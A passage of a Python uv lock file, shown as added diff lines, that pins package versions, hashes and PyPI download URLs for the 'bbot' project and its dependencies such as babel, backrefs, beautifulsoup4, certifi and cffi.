"https://files.pythonhosted.org/packages/77/f5/21d2de20e8b8b0408f0681956ca2c69f1320a3848ac50e6e7f39c6159675/babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35", size = 10196845, upload-time = "2026-02-01T12:30:53.445Z" }, +] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, +] + +[[package]] +name = "backrefs" +version = "6.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/86/e3/bb3a439d5cb255c4774724810ad8073830fac9c9dee123555820c1bcc806/backrefs-6.1.tar.gz", hash = "sha256:3bba1749aafe1db9b915f00e0dd166cba613b6f788ffd63060ac3485dc9be231", size = 7011962, upload-time = "2025-11-15T14:52:08.323Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3b/ee/c216d52f58ea75b5e1841022bbae24438b19834a29b163cb32aa3a2a7c6e/backrefs-6.1-py310-none-any.whl", hash = "sha256:2a2ccb96302337ce61ee4717ceacfbf26ba4efb1d55af86564b8bbaeda39cac1", size = 381059, upload-time = "2025-11-15T14:51:59.758Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9a/8da246d988ded941da96c7ed945d63e94a445637eaad985a0ed88787cb89/backrefs-6.1-py311-none-any.whl", hash = "sha256:e82bba3875ee4430f4de4b6db19429a27275d95a5f3773c57e9e18abc23fd2b7", size = 392854, upload-time = "2025-11-15T14:52:01.194Z" }, + { url = "https://files.pythonhosted.org/packages/37/c9/fd117a6f9300c62bbc33bc337fd2b3c6bfe28b6e9701de336b52d7a797ad/backrefs-6.1-py312-none-any.whl", hash = "sha256:c64698c8d2269343d88947c0735cb4b78745bd3ba590e10313fbf3f78c34da5a", size = 398770, upload-time = "2025-11-15T14:52:02.584Z" }, + { url = "https://files.pythonhosted.org/packages/eb/95/7118e935b0b0bd3f94dfec2d852fd4e4f4f9757bdb49850519acd245cd3a/backrefs-6.1-py313-none-any.whl", hash = "sha256:4c9d3dc1e2e558965202c012304f33d4e0e477e1c103663fd2c3cc9bb18b0d05", size = 400726, upload-time = "2025-11-15T14:52:04.093Z" }, + { url = "https://files.pythonhosted.org/packages/1d/72/6296bad135bfafd3254ae3648cd152980a424bd6fed64a101af00cc7ba31/backrefs-6.1-py314-none-any.whl", hash = "sha256:13eafbc9ccd5222e9c1f0bec563e6d2a6d21514962f11e7fc79872fd56cbc853", size = 412584, upload-time = "2025-11-15T14:52:05.233Z" }, + { url = "https://files.pythonhosted.org/packages/02/e3/a4fa1946722c4c7b063cc25043a12d9ce9b4323777f89643be74cef2993c/backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0", size = 381058, upload-time = "2025-11-15T14:52:06.698Z" }, +] + +[[package]] +name = "bbot" +source = { editable = "." } +dependencies = [ + { name = "ansible-core", version = "2.17.14", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "ansible-core", version = "2.19.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" }, + { name = "ansible-core", version = "2.20.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, + { name = "ansible-runner" }, + { name = "beautifulsoup4" }, + { name = "cachetools" }, + { name = "cloudcheck" }, + { name = "deepdiff" }, + { name = "dnspython" }, + { name = "httpx" }, + { name = "idna" }, + { name = "jinja2" }, + { name = "lxml" }, + { name = "mmh3" }, + { name = "omegaconf" }, + { name = "orjson" }, + { name = "psutil" }, + { name = "puremagic" }, + { name = "pycryptodome" }, + { name = "pydantic" }, + { name = "pyjwt" }, + { name = "pyzmq" }, + { name = "radixtarget" }, + { name = "regex" }, + { name = "setproctitle" }, + { name = "socksio" }, + { name = "tabulate" }, + { name = "tldextract" }, + { name = "unidecode" }, + { name = "websockets" }, + { name = "wordninja" }, + { name = "xmltojson" }, + { name = "xxhash" }, + { name = "yara-python" }, +] + +[package.dev-dependencies] +dev = [ + { name = "fastapi" }, + { name = "pre-commit" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-benchmark" }, + { name = "pytest-cov" }, + { name = "pytest-env" }, + { name = "pytest-httpserver" }, + { name = "pytest-httpx" }, + { name = "pytest-rerunfailures" }, + { name = "pytest-timeout" }, + { name = "ruff" }, + { name = "urllib3" }, + { name = "uvicorn" }, + { name = "werkzeug" }, +] +docs = [ + { name = "griffe" }, + { name = "livereload" }, + { name = "mike" }, + { name = "mkdocs" }, + { name = "mkdocs-extra-sass-plugin" }, + { name = "mkdocs-material" }, + { name = "mkdocs-material-extensions" }, + { name = "mkdocstrings" }, + { name = "mkdocstrings-python" }, + { name = "pymdown-extensions" }, +] + +[package.metadata] +requires-dist = [ + { name = "ansible-core", specifier = ">=2.17,<3" }, + { name = "ansible-runner", specifier = ">=2.3.2,<3" }, + { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, + { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, + { name = "cloudcheck", specifier = ">=9.2.0,<10" }, + { name = "deepdiff", specifier = ">=8.0.0,<9" }, + { name = "dnspython", specifier = ">=2.7.0,<2.8.0" }, + { name = "httpx", specifier = ">=0.28.1,<1" }, + { name = "idna", specifier = ">=3.4,<4" }, + { name = "jinja2", specifier = ">=3.1.3,<4" }, + { name = "lxml", specifier = ">=4.9.2,<7.0.0" }, + { name = "mmh3", specifier = ">=4.1,<6.0" }, + { name = "omegaconf", specifier = ">=2.3.0,<3" }, + { name = "orjson", specifier = ">=3.10.12,<4" }, + { name = "psutil", specifier = ">=5.9.4,<8.0.0" }, + { name = "puremagic", specifier = ">=1.28,<2" }, + { name = "pycryptodome", specifier = ">=3.17,<4" }, + { name = "pydantic", specifier = ">=2.12.2,<3" }, + { name = "pyjwt", specifier = ">=2.7.0,<3" }, + { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" }, + { name = "radixtarget", specifier = ">=3.0.13,<4" }, + { name = "regex", specifier = ">=2024.4.16,<2027.0.0" }, + { name = "setproctitle", specifier = ">=1.3.3,<2" }, + { name = "socksio", specifier = ">=1.0.0,<2" }, + { name = "tabulate", specifier = "==0.8.10" }, + { name = "tldextract", specifier = ">=5.3.0,<6" }, + { name = "unidecode", specifier = ">=1.3.8,<2" }, + { name = "websockets", specifier = ">=14.0.0,<16.0.0" }, + { name = "wordninja", specifier = ">=2.0.0,<3" }, + { name = "xmltojson", specifier = ">=2.0.2,<3" }, + { name = "xxhash", specifier = ">=3.5.0,<4" }, + { name = "yara-python", specifier = "==4.5.2" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "fastapi", specifier = ">=0.115.5,<0.129.0" }, + { name = "pre-commit", specifier = ">=3.4,<5.0" }, + { name = "pytest", specifier = ">=8.3.1,<9" }, + { name = "pytest-asyncio", specifier = "==1.2.0" }, + { name = "pytest-benchmark", specifier = ">=4,<6" }, + { name = "pytest-cov", specifier = ">=5,<8" }, + { name = "pytest-env", specifier = ">=0.8.2,<1.2.0" }, + { name = "pytest-httpserver", specifier = ">=1.0.11,<2" }, + { name = "pytest-httpx", specifier = ">=0.35" }, + { name = "pytest-rerunfailures", specifier = ">=14,<17" }, + { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, + { name = "ruff", specifier = "==0.15.2" }, + { name = "urllib3", specifier = ">=2.0.2,<3" }, + { name = "uvicorn", specifier = ">=0.32,<0.40" }, + { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, +] +docs = [ + { name = "griffe", specifier = ">=1,<2" }, + { name = "livereload", specifier = ">=2.6.3,<3" }, + { name = "mike", specifier = ">=2.1.3,<3" }, + { name = "mkdocs", specifier = ">=1.5.2,<2" }, + { name = "mkdocs-extra-sass-plugin", specifier = ">=0.1.0,<1" }, + { name = "mkdocs-material", specifier = ">=9.2.5,<10" }, + { name = "mkdocs-material-extensions", specifier = ">=1.1.1,<2" }, + { name = "mkdocstrings", specifier = ">=0.22,<0.31" }, + { name = "mkdocstrings-python", specifier = ">=2.0.0,<3" }, + { name = "pymdown-extensions", specifier = ">=10.20.1,<11" }, +] + +[[package]] +name = "beautifulsoup4" +version = "4.14.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "soupsieve" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c3/b0/1c6a16426d389813b48d95e26898aff79abbde42ad353958ad95cc8c9b21/beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86", size = 627737, upload-time = "2025-11-30T15:08:26.084Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1a/39/47f9197bdd44df24d67ac8893641e16f386c984a0619ef2ee4c51fbbc019/beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb", size = 107721, upload-time = "2025-11-30T15:08:24.087Z" }, +] + +[[package]] +name = "cachetools" +version = "6.2.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/39/91/d9ae9a66b01102a18cd16db0cf4cd54187ffe10f0865cc80071a4104fbb3/cachetools-6.2.6.tar.gz", hash = "sha256:16c33e1f276b9a9c0b49ab5782d901e3ad3de0dd6da9bf9bcd29ac5672f2f9e6", size = 32363, upload-time = "2026-01-27T20:32:59.956Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/45/f458fa2c388e79dd9d8b9b0c99f1d31b568f27388f2fdba7bb66bbc0c6ed/cachetools-6.2.6-py3-none-any.whl", hash = "sha256:8c9717235b3c651603fff0076db52d6acbfd1b338b8ed50256092f7ce9c85bda", size = 11668, upload-time = "2026-01-27T20:32:58.527Z" }, +] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" }, + { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" }, + { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" }, + { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" }, + { url = "https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" }, + { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" }, + { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" }, + { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" }, + { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" }, + { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" }, + { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" }, + { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" }, + { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, + { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, + { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, + { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" }, + { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" }, + { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" }, + { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" }, + { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" }, + { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" }, + { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" }, + { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, + { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, + { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, + { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, + { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, + { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, + { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, + { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, + { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, + { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, + { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, + { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, + { url = 